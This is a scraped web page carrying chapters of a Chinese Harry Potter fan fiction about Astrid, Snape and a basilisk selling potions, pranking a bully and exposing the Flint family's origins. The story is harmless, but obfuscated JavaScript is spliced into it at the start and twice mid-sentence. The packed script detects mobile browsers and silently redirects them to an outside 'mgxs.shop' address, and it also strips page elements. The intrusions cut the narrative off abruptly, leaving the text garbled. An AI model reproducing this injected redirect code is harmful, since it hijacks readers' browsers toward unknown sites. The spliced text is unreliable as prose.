l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334615|199227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' S的衣服,消耗的肥皂和水当然少了很多,但是这件衣服所能提供的保暖度、遮盖范围也相应减少了。那么这部分能量——或者说功能——是否可以与那部分节省的物质量相对应?” 阿斯特丽德盯着桃金娘半晌,然后忽然站起身来,对着那个银白色的幽灵郑重其事地欠身致意:“respect!” 没错啊! 无论怎么变化,目标物的分子数量和分子体积是恒定不变的,变化的只有分子间隔。变小的萨其马固然节省了沐浴液和水源,但是它的鳞片缝隙也变小了。而等到它变回原本体积的时候,鳞片缝隙相应扩大。那么这部分增加回来的间隔,还是需要相应的沐浴液和水源来清洗的。就像是之前只洗了一个小瓷碗,而当瓷碗变成瓷盆,肉眼所见的碗身仍旧干净,但那些拉开间隔的瓷粒里的空气,还有新被容纳进碗里的空气,其实都是没洗过的,只是看上去觉得清洁度没变。 想通了的阿斯特丽德终于不再时不时发呆放空。她转过身,看向那个一直沉默地熬着魔药的黑发少年。 斯内普背对着她,专注地盯着坩埚里的药液,但那微微侧过来的角度表明,他一直在听。 于是她清了清嗓子,给斯内普下达了新的任务,然后就拉着桃金娘研究染发膏色号去了。 那项新任务是—— “拜托了,西弗勒斯。”阿斯特丽德当时走到他身边,双手合十,“你也不想我们的产品都被积压在货仓里吧?现在教授联系的厂家已经在批量生产了,而如果我们的顾客都洞悉了这种偷懒小妙招的话,那我们还得为此支付一大笔货仓使用及管理费,这显然是极其不利的。所以,能拜托我们伟大又严谨的巫师先生给产品们设计一个作弊检测咒吗?比如一旦检测到目标变化了体积大小,我们的产品就会拒绝提供服务,进而像混入了发霉的烂卷心菜一样馊掉。” 嗯,她不仅要防作弊,还要坏心眼地提升产品损耗率——这很资本家。 斯内普缓缓转过身,抬起眼眸看她,嘴角也勾起一抹丝毫不逊色的坏笑,看起来格外意味深长:“当然。我相信你不会忘记在使用说明里提供免责声明和提醒的,对吗?” 阿斯特丽德挑了挑眉,露出一副“那还用你说”的表情。 但斯内普确信他从那表情里解读出了别的意味——她不仅会提供免责声明及提醒,还会把那几行字印刷得非常小,小到几乎看不见,小到需要用放大镜才能勉强辨认。 然后等顾客顶着一头泡泡,拿着馊掉的洗发液上门投诉时,她就可以笑眯眯地欠身,用最甜美的、无可挑剔的语气说:“很抱歉,女士。但A.S的确附加了防止作弊的专利技术,旨在维护品牌的正常运营。喏,就在这,您看——”她会用指尖点着那行蚂蚁大小的字,一脸无辜,“如果您在使用前没有仔细阅读说明,那很遗憾,这属于用户责任范畴。” 然后她还会更加笑意亲和地为顾客指条明路:“如果有任何不满,请去魔法消费者协会举报,相信委员们会给出公正裁决的。” 再之后,商家们会纷纷效仿此技术,而早就嗅到商机的阿斯特丽德已经拜托斯拉格霍恩教授给这项小发明注册了专利。那些想要使用此技术的商家都需要给A.S以及西弗勒斯·斯内普本人支付源源不断的专利使用费。 很好。 他终于再次确信她是个斯莱特林了。 46. 驱虫剂&空气炸锅 43. 在阿斯特丽德拉着斯内普商量如何带萨其马一起参与本周霍格莫德之行的时候,萨其马本蛇正兢兢业业地趴在坩埚架上,朝那三口新架起来的坩埚里挨个喷口水——一呸,二tui,三噗,动作娴熟,节奏稳定,俨然一副资深流水线工人的架势。 那三口坩埚里都是新研制的驱虫药水,而独家秘方正是蛇怪的唾液,这是任何工厂都无法复制的核心成分。 瞧萨其马那乐此不疲的样子,它多敬业啊!而这一切对A.S来说又是多么的接近零成本。 只是接近零——因为萨其马还要吃饭,要用最新款的树莓味加钙儿童牙膏保持口气清新,还要定期做口腔护理防止蛀牙。这些都是企业成本,要算在售价里的,一分一毫都不能含糊。 唯一不好的地方就是,该产品无法经由工厂批量生产。她总不能派萨其马驻守在生产线上,日夜不停地对着传送带吐口水吧?那对工人和萨其马本蛇都是一种不负责任的行为。工人会被吓死,萨其马会被累死,双输。 A.S在此郑重声明:我们绝对重视员工健康及安全,我们绝不延迟退休虐待老龄员工,我们绝不搞“自愿降薪奉献”等精神控制,我们绝不宣扬“996是福报”等资本家话术,我们坚决反对把员工当耗材使的企业文化。 刚听完董事长宣讲的高级合伙人斯内普先生,对此嗤笑一声,眼里满是洞悉一切的了然:“你就是想打‘全手工熬制,原料稀缺’的噱头。” 阿斯特丽德深沉地点头,姿态像极了正在布道的商业教父:“没错,比市场价提高百分之三十,走会员制。年消费满八百八十八加隆者可预订香型和制剂类型。”她闲闲地瞥了一眼那三口咕嘟冒泡的坩埚,以及那个正专注地“呸、tui、噗”的蛇影,幽幽地总结道,“反正除了毒液,那锅里也就是些增稠剂、乳化剂、渗透剂、缓释剂和防腐剂之类的玩意儿,丝毫不影响香精的选择范围——玫瑰的、茉莉的、薰衣草的、海盐鼠尾草的,应有尽有。” 熬了一锅化学制剂的巫师先生对此一言不发,只是抿紧了唇,把目光移向下一个话题。 “我很好奇一个问题。”斯内普又看了一眼萨其马,它还在辛勤劳作。 “你问。” “它不需要冬眠吗?”他是真的感到很困惑,“它光溜溜的,不怕冷?” “呃……可能因为它是蛇怪吧。”阿斯特丽德站直了点,凑近斯内普压低声音,“以后可别在它面前提起它跟普通蛇类不一样的话——它忌讳这个。” 斯内普不解地蹙起眉头:“忌讳?它不为自己的与众不同和蛇王身份而自豪吗?”毕竟它挺傲娇的不是吗?初次会晤时那副高高在上的姿态,微微颔首的派头,跟斯莱特林院徽上的样子像极了,简直就是活体院徽。 阿斯特丽德低声解释起来,声音压得更低了:“它身为蛇王,但惧怕随处可见的公鸡。那不是什么生物链上的天敌克制,只是因为它是公鸡下的蛋。可公鸡生了它,却不养它,它从没体会过父爱。而孵化了它的蟾蜍又不认它,惧怕它,所以它也没有母爱。它无法亲近自己的父母,当别的小蛇承欢膝下的时候,跟父母缠绕贴贴的时候,它只能躲在一旁干看着。它甚至没有朋友,因为它的同类也惧怕它的瞪视,没有一个敢靠近它。” 她顿了顿,叹了口气:“所以,它讨厌自己的出身。它曾经跟我说,它会惧怕公鸡叫声,更多是因为它认为——它不该被生下来。它是个怪物,它惧怕自己的来处。” 斯内普沉默着。 他没有发表任何点评,没有轻嗤,没有哼笑,甚至没有任何一句他惯常用来掩饰情绪的讽刺。 母亲不认,父亲不养,没有朋友,一个厌恶自身来处的怪物。 这与曾经的他何其相似。只不过他是母亲疏远或顾不上他,父亲厌恶不认他。其他的,都差不多。 而如今,他在魔法里找到了自己的支撑,在魔药和咒语的世界里找到了可以安放自己的角落。那萨其马呢? 阿斯特丽德说过,它已经快走到生命的尽头了。它就要这样走完它的一生吗?带着那个“不该被生下来”的念头,在不见天日的地下密室里,守着那些它看不懂的咒语和禁制,等着一个不知道会不会回来的主人,然后带着千年的孤独和饥饿,就这样离开? 斯内普的目光又落在那个意犹未尽地趴在坩埚边的小蛇身上。它正专注地朝第三口锅里喷口水,尾巴尖因为用力而微微翘起。 “教我蛇语吧,杜兰特。”他忽然轻声开口,“我想听懂它在说些什么。” 阿斯特丽德的眼睛亮了起来,像是看到了期待已久的事情:“好啊。”然后她又拉着桃金娘去嘀嘀咕咕了,两个女孩凑在洗手台边上,压低声音交流着。断断续续的声音从那边飘过来,隐约能听见几句—— “原生家庭的痛,就是这样伴随一生,很难治愈的。” “嗯,那你说,像我们这样总被同学欺负的人,是不是大部分都有原生家庭的问题影响?” “哦……我不能给这个问题下定论,但是我想,如果我们都有可以倾诉的家人和好朋友,那么就会生出很多反抗世界,以及拥抱世界的勇气吧。” 反抗这个世界的黑暗,拥抱这个世界的美好。 桃金娘、他,还有它,都可以是这样的。 直到将那些驱虫剂一一分装好,用软木塞封住瓶口,贴上标签,跟桃金娘告别时,斯内普的目光仍旧频繁地往萨其马身上飘——它正趴在阿斯特丽德的口袋边缘,心满意足地随着耳罩里的音乐摇摆。 阿斯特丽德注意到这一点,她认真回想了一下这变化的由来和契机。从萨其马的身世,到斯内普忽然提出学蛇语,再到他此刻望向它的眼神…… 她懂了。 于是在迈出盥洗室的那一刻,在走廊昏暗的烛光里,她轻声问他:“你拿到录取通知书的那个下午,跟我说‘也许没有魔法,也没什么不好’。现在呢?你还那么认为吗?” 斯内普的脚步停在楼梯口,目光望着前方正从容转动的楼梯。片刻后,他才低沉缓慢地开口:“当时那样说,除了安慰某个沮丧的麻瓜,还因为我懦弱地将自己遭受的不公归咎于唯一让我与众不同的东西——仿佛只要把那东西剔除,我就能变成一个‘正常’的人,就能被接纳,被认可,被爱。”他微微垂眸,继续往下说:“但后来我发现,将问题归咎于自身唯一的不同,是一件很愚蠢的事。问题从来不在那东西本身。在那个环境里,任何与周遭格格不入的特质都会被放大成罪过——无论是魔法,还是别的什么。而换个环境,那个让我被憎恶的东西,反而成了我的支点。” 他转回头,看着她。 “至于现在,我还是会说那句话的。”他带着温柔的坦诚,“因为无论环境怎么改变,无论我在哪里、是什么样子,我都会安慰某个麻瓜。” 阿斯特丽德将手背在身后,笑着仰头看他:“而某个麻瓜认为,无论你在哪种环境,无论你是什么样子,你都会很棒。”她神色温柔得像是月光铺在湖面上,“这不是安慰。” 楼梯恰在此时衔接好,发出低沉的摩擦声。他们抬脚往前走,脚步声在空旷的楼梯间里轻轻回荡。 ‘嘶嘶~嘶。’阿斯特丽德放慢语速,把那几个音节拆解开来,又重复了一遍,“这是‘你很棒’的意思。” 斯内普学着她的发音低声模仿了一遍,略显生涩,明显不太习惯用这种方式发声。 “重音在第二个音节,尾音拖长放轻,像这样——”她又示范了一遍。 “这样?”他再次尝试,这一次比刚才流畅了些。 “嗯,差不多了,再练练就好。”阿斯特丽德满意地点点头,鼓励着问,“还想学什么?” “它的名字。” ‘嘶……嘶~’ 阿斯特丽德刚发出两个音节,口袋里就传来一阵窸窸窣窣的动静。 ‘哎,我在呢!’萨其马的嘶嘶声从布料底下传来,颇为欢快。 ‘……没事,继续听音乐吧。’阿斯特丽德低头安抚了一句,‘我在教西弗勒斯蛇语呢。’ 口袋里传来一阵表示理解的嘶嘶声,然后就是音乐重新响起的微弱节拍——萨其马又沉浸到它的随身听世界里去了。 混合着嘶嘶声的交流渐行渐远,很快消散在城堡古老的石壁间,被那些沉默的盔甲和昏昏欲睡的画像收进记忆的褶皱里,成为又一个无人知晓的夜晚的秘密。 等斯内普的背影消失在楼梯拐角处,阿斯特丽德才从校袍口袋里掏出一个精致的小瓶子,笑眯眯地转向那幅巨大的肖像画。胖夫人正靠在画框里打盹,头上还戴着几个卷发筒,看起来睡得正香。 “胖夫人?”阿斯特丽德轻声唤道,“胖夫人,您睡着了吗?” 胖夫人的眼皮颤了颤,慢悠悠地睁开一条缝,看到是她,整个人立刻精神了不少:“哦,是你啊,亲爱的。这么晚才回来?又是跟那个黑漆漆的小子出去约会了?” 阿斯特丽德权当没听见后半句,举起手里那个小瓶子,像一个真正的推销员一般热情礼貌地介绍着:“请允许我向您介绍我们的最新产品——一款专为画像设计的驱虫防护喷雾。您知道的,那些烦人的蠹虫、书虫、还有各种叫不出名字的小玩意儿,总是觊觎画布的纤维和颜料的芬芳。” 她说着,又把瓶子举高了一点,让胖夫人能看清标签,“虽然我知道霍格沃茨的每一幅画像都被施了高级的保护魔法,寻常虫豸根本近不了身——但多一层防护总不是坏事,对吧?就像给最坚固的城堡再加一道护城河,有谁会嫌护城河太多呢?” 胖夫人低头看了看那个小瓶子,圆润的脸上浮现出乐呵呵的笑容,金框里的她微微侧身,让自己更舒服地靠在椅背上:“哦,亲爱的,你可真是个小甜心。来吧来吧,给我喷上——我最近正觉得左边那只角有点痒呢,说不定就是有什么小东西在作怪。” 她闭上眼睛,画出来的脸上一副等待被服务的惬意,连那顶精致的小帽子都跟着她放松的姿态微微歪了歪。 阿斯特丽德举起瓶子,轻轻喷了几下,细密的水雾落在画布上,很快就被吸收进去,不留一丝痕迹。淡淡的花香在空气中弥漫开来,清雅又持久。 “是大丽花香型,”她收回瓶子,语气里带着期待,“我记得您之前说过喜欢这个味道。如果效果不错,或者有什么需要调整的地方,请一定告诉我。您的反馈对我们来说至关重要。” 胖夫人睁开眼睛,深深吸了一口空气中残留的香气,脸上的笑容更深了:“哦,真不错,亲爱的。你可比那些只会从我面前匆匆跑过的小崽子们贴心多了。我会告诉你的,放心吧。” 飞行课依旧在城堡后侧的那片草地上进行。十一月的冷风呼呼地刮着,吹得草地上的枯草瑟瑟作响,把那群一年级小鬼头的脸都吹得红扑扑的。那些扫帚在学生们头顶飞来飞去,带起一阵阵呼啸的风声。 阿斯特丽德照例站在队伍末尾,面前的扫帚一如既往地躺在地上,连翻滚都欠奉,那姿态懒洋洋的,仿佛在说“你爱咋咋地,反正我不动”。 萨其马守在她脚边,在校袍的阴影里把自己缩成一截不起眼的小绿绳,黄澄澄的眼睛透过袖珍墨镜安静地观 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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塞拉斯低头看了一眼那条小蛇,然后轻蔑地嗤笑出声:“哟,一个蠢狮子还养起蛇来了?”他朝身边的跟班挤了挤眼睛,姿态得意极了,“怎么,它难道是想咬我一口吗?可是——”他故意晃了晃扫帚,让自己在半空中晃悠起来,“它跟它的主人一样废物,根本够不着我。啧啧,可怜的小爬虫。” 阿斯特丽德露出一个假笑,慢悠悠地开口:“它是在说,像你这样的食材,往往只需要最简单的烹饪方式,以免浪费调料。” 塞拉斯那张还带着几分稚气的脸上浮现出被冒犯的恼怒:“你——”他涨红了脸,像是被什么恶心到了,“就凭它?那条小虫子?它连我的扫帚都够不着,还想吃我?” 他话音未落—— “咻——!” 一颗小石子从地面上激射而出,精准地打在他的扫帚尾部。力道之大,让那把扫帚猛地一歪,塞拉斯整个人在扫帚上晃了晃,差点摔下来。 ‘好球!’萨其马发出一阵兴奋的嘶嘶声,小小的身体因为激动而微微颤抖,‘进洞了!老萨其马一杆进洞!’ 阿斯特丽德惊叹地看着得意洋洋的萨其马,忍不住问:‘你什么时候练的这一手?’ 萨其马一边灵活地躲闪着塞拉斯恼羞成怒射下来的咒语,一边抽空嘶嘶回应:‘千年啊,主人。我每天对着管道玩骨头,就这么玩出来的。人类的高尔夫算什么,老萨其马的准头才是真的。’ 又一颗石子击中扫帚。 塞拉斯在扫帚上晃得更厉害了。 “你——”塞拉斯稳住扫帚,愤怒地举起魔杖,又一道咒语直冲萨其马而来。 萨其马灵活地一闪,小小的身子在地上扭出一个完美的S形,轻松躲过。与此同时,它的尾巴又是一扫—— 第三颗、第四颗、第五颗——萨其马像是开了挂一样,尾巴一下接一下地摆动,那些石子就像被精确制导的炮弹,一颗接一颗地命中扫帚的各个部位。它的身体在地上灵活地扭动、跳跃、闪躲,塞拉斯的咒语一道接一道地落空,打在地上溅起一簇簇泥土和草屑。 “漂亮!”阿斯特丽德又赞叹了一声,然后迅速蹲下身,捡起自己的魔杖。 她看了一眼那串挂链,那颗从权杖上取下来的紫色宝石在阳光下熠熠生辉,旁边几颗新串的珍珠点缀其间。她拽下一颗珍珠,握在手心,然后朝萨其马打了个手势。 萨其马心领神会,尾巴一扫—— 那颗珍珠划过一道优美的弧线,在接触到扫帚的瞬间炸开。 “啾——!” 扫帚猛地向上蹿升了一截,像是被无形的力量狠狠踹了一脚。 然后—— “砰!” 第一朵烟花在天空中炸开。 是斯莱特林院徽的图案,银色的蛇在阳光下闪闪发光。塞拉斯被这突如其来的变故吓得趴在扫帚上,双手死死抱住扫帚杆,生怕自己掉下去。 还没等他回过神来,扫帚又“啾”的一声蹿升了一截,炸开第二朵烟花——这一次是萨拉查·斯莱特林的剪影,那冷峻的侧脸在天空中一闪而过,带着一种“尔等凡人”的高贵蔑视。 塞拉斯的头发已经竖了起来,脸上沾满了烟花炸开的黑色粉末,焦黑一片,狼狈得像刚从某个灾难现场爬出来。 紧接着,扫帚第三次“啾”的一声向上猛蹿,炸开第三朵烟花。 霍格沃茨城堡的图案在天空中徐徐展开,塔楼、尖顶、城墙,每一处细节都清晰可辨,在阳光下熠熠生辉。 扫帚尾部冒出滚滚硝烟,那股浓烟在风中翻滚扩散,像是在给这场烟花秀做最后的谢幕。塞拉斯被炸得懵在原地,趴在扫帚上束手无策,脸上满是惊恐和茫然。 阿斯特丽德仰望着天空中那三朵依次绽放的烟花,语气幽幽:“都说了用不着什么复杂的料理——空气炸锅就很方便。”她像在点评一道菜的火候,眼里满是促狭的笑意,“瞧瞧,外酥里嫩的。” 47. 《纯血溯源第一期》 44. 第二天清晨,当第一缕阳光透过大礼堂的彩绘玻璃窗洒进来,将那些漂浮的蜡烛染成七彩的光斑时,一份神秘的读物开始在学生们中间流传。 那场景颇为奇特:一群猫头鹰扑棱着翅膀从敞开的窗户鱼贯而入,每一只的爪子上都抓着一张卷起来的普通羊皮纸。它们战战兢兢地飞到各张长桌上方,将那些羊皮纸搁在每隔四个座位的位置上,然后头也不回地飞走。姿态之仓皇,仿佛纸上沾了什么不知名的剧毒物质,多停留一秒就会要了它们的命。 它们是学校的猫头鹰,每一只在完成任务后,都无一例外地、畏畏缩缩地向格兰芬多长桌上的某条小蛇投去一眼。圆溜溜的大眼睛里满是“我照办了您别找我麻烦”的卑微,像是工作留痕和上班打卡。 而那条小蛇,正慵懒地趴在一个餐盘旁边,嘴里叼着一小块蓝莓挞,眼睛紧紧盯着那些被它挨个威胁了半晚上的邮差们,尾巴尖有一下没一下地摆动,很有成就感。 该说不说,做蛇王有时候还是挺带劲的。 好奇的学生们纷纷拿起那些羊皮纸,低头读了起来。纸张上皆印着一段不长不短的故事,措辞老辣,是以极其八卦、极尽煽风点火之能事的笔调写成的——若是丽塔·斯基特本人见了,恐怕都要赞叹一声“后生可畏”。 《纯血溯源:弗林特家族的光辉足迹(第一期)》 本报记者佚名特约撰稿 在纯血家族的璀璨星空中,弗林特家族无疑是一颗耀眼的明星。这个家族曾出过魔法部部长,有一位女士更是嫁入了布莱克家族,成为菲尼亚斯·奈杰勒斯·布莱克校长的夫人,其地位之尊崇,可见一斑。他们世代以坚定的纯血立场著称,是反对麻瓜阵营中最为响亮的声音之一。 然而,当我们拨开历史的迷雾,将目光投向十五世纪的英格兰乡间,一个有趣的故事便浮出水面。 弗林特家族有确切记载的最早祖先,并非什么巫师贵族,而是约克郡某农场的一名果农。这位名叫休.弗林特的农夫,以种植苹果为业,日出而作,日落而息,双手沾满的并非魔法的光辉,而是修剪果枝留下的老茧,身上永远散发着苹果发酵后的酸甜气味。他与农场主的女儿——阿普尔顿小姐,一位年轻的麻瓜姑娘——坠入了爱河。 可惜,这段感情并未得到祝福。那位农场主发现女儿的恋情后勃然大怒,将休.弗林特痛斥一番后扫地出门。然而,爱情的力量是伟大的——或者说,叛逆的种子一旦种下,便难以根除。在休.弗林特的劝说下,阿普尔顿小姐毅然与情郎私奔,远走他乡,这才有了后来的弗林特家族。 据考,那位农场主至死未能原谅自己的女儿。而老弗林特后来是如何从一名果农摇身一变,成为后来的纯血家族奠基人,这其中又有多少不为人知的故事?敬请期待第二期:《苹果树下的第一桶金》。 (本报将持续关注,为您带来更多独家揭秘) 斯莱特林长桌上,埃弗里正津津有味地往下念着那则小故事,丝毫没有注意到不远处里奥和塞拉斯的脸色已经黑得像锅底。念到“休·弗林特在果园里种苹果”那段时,他甚至没忍住笑出了声,惹得周围几个人纷纷凑过来看。 塞拉斯的叉子重重地砸在餐盘上,发出一声脆响。他的脸涨得通红,眼里几乎要喷出火来,那张羊皮纸的边缘都被攥出了褶皱。 里奥的脸色比他弟弟还要难看——那张脸先是涨红,然后迅速转为苍白,最后定格成一种铁青的、近乎狰狞的颜色。他的目光死死盯着那张纸,仿佛要把那些字一个个瞪出洞来。他的嘴唇紧抿着,下颌的肌肉因为用力咬牙而微微颤抖,整个人散发着“随时会爆发”的危险气息。 周围那些纯血家族的学生们,反应可就精彩多了。 帕金森放下了手里的南瓜汁,精明的眼神在里奥脸上打了个转,又落回那张羊皮纸上,嘴角挂着意味深长的弧度。他没有说话,但那表情明明白白地写着:原来如此,难怪你们家对麻瓜这么“有意见”。 诺特和克拉布的几个子弟交换了一个眼神,里面洋溢着微妙的、幸灾乐祸的意味。纯血圈子里,谁家还没点见不得人的历史?但像弗林特家这样,被赤裸裸地揭穿在全校师生面前,可真是太少见了。 与弗林特有姻亲关系的布莱克家族那边,气氛更加微妙。菲尼亚斯·奈杰勒斯·布莱克的画像此刻正在校长室里焦躁地走来走去,来回踱步的频率让旁边几幅画像都忍不住往旁边挪了挪,生怕被他撞到。而他的曾曾孙子雷古勒斯·布莱克坐在斯莱特林长桌的另一端,手里也捏着一张同样的羊皮纸。他的眉头紧紧皱着,精致的脸上满是复杂,还有一丝明显的尴尬。 “这……”一个布莱克家族的旁支小声嘀咕,“我曾外祖母要是知道她当年嫁给了这么一个……祖上种苹果的……” 话没说完,就被旁边的人用眼神制止了。但还是有几个斯莱特林学生忍不住窃窃私语,那些声音压得很低,但断断续续飘进耳朵里的只言片语,足以让弗林特两兄弟的血压再创新高。 塞拉斯霍地站起来,还带着几分婴儿肥的脸上满是愤怒的潮红,大声吼道:“是谁?!谁写的这种东西?!这是污蔑!这是诽谤!” 没有人回答他。 事实上,整个礼堂里,没有一个人能猜出这篇东西的来历。这毕竟是纯血家族的秘辛,只有那些传承了数百年的古老家族才可能知道一二。谁会把它写出来?谁能把它写出来?更重要的,谁会把它公之于众? 没有人会怀疑到格兰芬多长桌上那个正在啃烤香肠的麻瓜种女生身上。 里奥按住了他弟弟的肩膀,把他拽回座位上。他的目光阴鸷得像一只被激怒的毒蛇,从周围那些窃窃私语的同学脸上一一扫过,最后落在斯内普身上。 斯内普正慢条斯理地切着盘中的香肠,眼眸垂着,面无表情。他当然感知到了周围那股暗流涌动的气氛,那些压抑的低语,还有试图憋住却终究没憋住的笑声。 里奥的目光在他脸上停留了片刻,心里充斥着怀疑——斯内普,这个混血种,这个和他们走得不近不远的斯莱特林,会不会知道些什么? 斯内普倒是没有往弗林特兄弟那边投去一眼,因为他昨晚被阿斯特丽德拉着用复制咒复制那批羊皮纸时,已经把那篇文章翻来覆去读了不下二十遍,此刻那些字句简直像被刻进了他的视网膜,闭上眼睛都能一字不差地浮现出来。 梅林知道他昨晚的梦里都是些什么乱七八糟的画面:里奥·弗林特不好好种苹果,趁着斯拉格霍恩农场主外出期间,站在苹果树下用花言巧语蛊惑阿斯特丽德小姐与他私奔,而可怜的他则是被弗林特背在背上的那麻袋苹果之一,在一路颠簸中跟其他苹果挤来挤去,还要听那两个人在前面卿卿我我。他甚至记得自己在梦里愤怒地试图从麻袋里滚出去砸那个果农的后脑勺,结果被一颗更大的苹果压住了。 托她的福,他今天不仅要顶着两个明晃晃的黑眼圈来上课,还要额外熬制好几大锅驱虫剂。因为胖夫人非常热情地在画像圈子里宣传了那款防虫喷雾的效果,用词之夸张、描述之动人,简直像是在推销什么千年难得一遇的圣物。现在好了,包括历代校长在内的所有画像,都在用各自的方式向邓布利多和费尔奇强烈要求享受这项防护保养服务。那些画像们振振有词——凭什么格兰芬多门口的胖夫人可以香喷喷地睡大觉,他们就得忍受蛀虫的骚扰?这不公平!菲尼亚斯甚至威胁说如果下周还轮不到他,他就要给现任布莱克家主写信投诉霍格沃茨虐待前任校长。于是,这笔巨额订单最终落在了可怜的药剂师身上。 当然,他现在更愿意称自己为活体生产线——还是没有专门的养护工人定期检修维护、没有加班费、甚至连一句“辛苦了”都只能从一条蛇怪口中听到的那种,全靠一口气吊着。 他用叉子漫不经心地扒拉着某块淋了新鲜柠檬汁的鱼排,动作机械而迟缓,脑子里回荡着斯拉格霍恩教授今早把他叫住时说的那些话。 “校长让我转告你们,”斯拉格霍恩笑呵呵地拍了拍他的肩膀,“他说他对学生们热情创业非常支持,看到你们能关注到画像们的需求,他感到很欣慰,毕竟那些老家伙们确实很久没有这么热闹过了。另外,他希望A.S能研发一款柠檬味的驱虫剂,他认为自己很多年后会很需要这个,也会很乐意使用——毕竟,到那时候他大概已经老得懒得动弹,只能坐在椅子上喷一喷,假装自己还在柠檬树下度假了。” 斯内普当时面无表情地听着,心里想的却是:很多年后?他现在就想喷点什么让自己清醒一点。 “真是令人大开眼界。”埃弗里终于念完了,把那张羊皮纸往桌上一放,啧啧称奇,“没想到弗林特家还有这么……传奇的发家史。” 旁边有人低声接话:“种苹果的……噗……” “咳咳。”斯内普轻轻咳嗽了一声,音量不大,却恰好能让周围几个人听见。他抬起眼皮,慢悠悠地扫了一眼那几个笑出声的低年级,目光里带着若有若无的警告,“在没有确凿证据之前,还是不要妄下定论为好。” 话音落下,他终于不咸不淡地看了里奥一眼,“历史有时候比魔法还难控制。你越是想把它锁起来,它越是从你意想不到的地方冒出来。比如说,从某个果农的苹果筐里。”他又叉起一块培根送进嘴里,“不过我建议你不要太激动。毕竟,我们每个人的家族树上,谁知道都结过什么果子呢?” 里奥的脸色更黑了。 斯内普却继续切他的香肠,仿佛刚才那番话只是随口一提。 “况且,”他语气更淡了,“弗林特家族对纯血事业的贡献,有目共睹。至于几百年前的事——”他微微耸肩,“那会儿的规矩和现在不一样。” 周围几个人若有所思地点点头,又继续低头吃早餐。 两天后的下午,通往校长办公室的旋转楼梯上,一串颜色不一的玻璃瓶正随着斯内普和阿斯特丽德的步伐缓缓上升。 那些瓶子在漂浮咒的控制下排成一列,像一群乖巧的、不会说话的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334617|199227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气泡,跟在他们身后寸步不离。阳光透过高窗照在那些玻璃上,折射出五颜六色的光斑,在石墙上跳跃闪烁。斯内普走在最前面,黑袍垂落,步伐从容,脸上依旧是他惯常的、看不出任何情绪的表情。 推开校长室的门,一阵温暖的气息扑面而来。壁炉里的火焰噼啪作响,福克斯在栖木上歪着脑袋,打量着那一排飘进来的玻璃瓶。 邓布利多正坐在巨大的书桌后面,抬头看清来人后,脸上浮现出慈祥的笑容。 而墙上的画像们—— “来了来了!” “哦,是那个!”一个胖胖的男巫指着那排瓶子,兴奋地喊道,“就是那个喷雾!卡普家的老姑娘昨天跟我炫耀了一整天,说她的画框现在又香又亮,任何蛀虫都不敢靠近。” 旁边一个戴着尖顶帽子的老太太撇了撇嘴:“有什么了不起的,我早就说了,咱们画像也该有这种待遇。守了这城堡几百年,连个驱虫的都没有,像话吗?” “就是就是。”另一个画像附和道,“费尔奇那家伙,从来没想过给我们喷点什么。” “喷我喷我——我等了两天了!” “别挤别挤,我先来的!” 邓布利多笑呵呵地听着画像们的议论,站起身来,迎向两人。他的目光落在那排颜色各异的玻璃瓶上,表情十分愉悦。 “啊,我们的供应商终于来了。米勒娃刚才还在念叨,说如果再不来,那些画像们就要罢工了。” 阿斯特丽德忍不住笑出声,而斯内普只是微微颔首,然后挥动魔杖,让那串玻璃瓶依次落在邓布利多的书桌上,整整齐齐,一字排开。 邓布利多拿起最中间那瓶柠檬黄的,轻轻按动喷头,对着空气喷了一下。一阵清新的柠檬香气在办公室里弥漫开来,连福克斯都抽了抽鼻子,发出一声满意的低鸣。 “绝妙。”邓布利多放下瓶子,“我必须说,这是我闻过的最体面的驱虫剂——没有刺鼻的魔药味,反而让人想泡一杯柠檬茶。”他嘴角的笑意更深了,“如果贵品牌能持续生产这款产品,我想我未来很多年都会很乐意使用它。也许等我退休了,会在某个阳光明媚的下午,一边喷着这个,一边回忆霍格沃茨的美好时光。” 阿斯特丽德的笑容微微一滞。 持续生产。 她想到了萨其马——那条正在新窝里呼呼大睡的小蛇,那条已经快走到生命尽头的蛇怪。很多年后……萨其马还能等到很多年后吗? 她没有接话,只是笑了笑,然后语气自然地换了个话题:“校长先生,我们今天来,除了交货,还有一件事想请教您。” 邓布利多的目光在她脸上停留了片刻,而后微微颔首,示意她继续说。 “您认识尼可·勒梅吗?” 邓布利多的眉毛微微挑起。他靠回椅背,目光变得深邃起来,“在讨论我那位老朋友之前,能否先问一下——二位为什么提起他?” 阿斯特丽德和斯内普对视一眼,然后开始讲述。 她讲得很快,却条理清晰——从桃金娘盥洗室里那条水龙头上的小蛇标志,到她用蛇佬腔打开的通道;再从那间被施了混淆咒和防探测咒的密室,到那张石床上沉睡的她的原身;最后从那颗原本镶嵌在权杖上的紫色宝石,到萨拉查留下的那些强大而复杂的炼金术禁制。 斯内普站在一旁,偶尔补充几句,“我们与一条会说唱的蛇怪共进了一顿难忘的晚餐。”他面无表情地说,“那顿饭的气味让我至今食欲不振。” 邓布利多静静地听着,目光始终落在两人身上。等他们讲完,他沉默了一会儿,然后轻轻叹了口气。 “首先,”他的语气郑重而温和,“我很高兴你们选择对我坦诚相告。这不仅帮我解答了一些长久的疑问,也意味着霍格沃茨又少了一个隐患——虽然那个隐患已经存在了近千年。这将为你们各自的学院赢得150分。” 